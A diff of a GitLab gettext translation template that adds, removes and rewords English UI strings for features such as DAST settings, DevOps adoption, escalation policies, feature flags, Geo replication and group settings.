+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10688,9 +10469,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10715,6 +10493,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10748,7 +10529,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10868,6 +10649,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11553,12 +11337,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11616,7 +11418,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11628,21 +11430,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11676,6 +11481,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11697,6 +11505,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11715,15 +11526,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11911,7 +11719,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11962,7 +11770,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11971,6 +11779,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -12187,9 +11998,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -12223,9 +12031,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12286,6 +12091,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12415,6 +12223,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12424,13 +12235,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12511,13 +12325,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12535,6 +12346,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12550,9 +12364,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12562,9 +12373,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12694,6 +12502,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12859,9 +12670,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13342,7 +13150,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13351,30 +13159,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13384,6 +13216,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13420,9 +13261,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13568,7 +13406,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13589,9 +13427,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13688,9 +13523,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13709,9 +13541,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13997,9 +13826,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -14031,9 +13857,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -14082,9 +13905,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -14115,9 +13935,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -14133,9 +13950,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -14175,24 +13989,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -14202,9 +14004,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14290,9 +14089,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14308,6 +14104,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14374,9 +14173,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14545,6 +14341,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14566,10 +14365,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14773,159 +14569,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -15016,6 +14674,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -15115,9 +14776,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -15190,6 +14848,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -15199,6 +14863,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -15229,9 +14896,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -15253,6 +14917,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15793,9 +15466,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15841,6 +15511,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15862,9 +15541,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15895,6 +15571,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15964,13 +15643,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -16006,9 +15682,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16321,18 +15994,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16357,6 +16027,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16396,13 +16069,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16585,6 +16258,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16703,6 +16379,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16788,9 +16467,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16938,6 +16614,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -17120,9 +16799,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17628,13 +17304,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17724,9 +17403,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17880,6 +17556,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17892,6 +17580,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17931,6 +17622,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17946,9 +17640,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17961,12 +17652,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17989,6 +17674,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -18031,9 +17719,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -18073,12 +17758,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -18103,9 +17800,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -18256,6 +17950,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18331,25 +18028,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18358,13 +18037,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18385,7 +18061,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18394,9 +18070,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18421,6 +18094,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18832,18 +18508,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
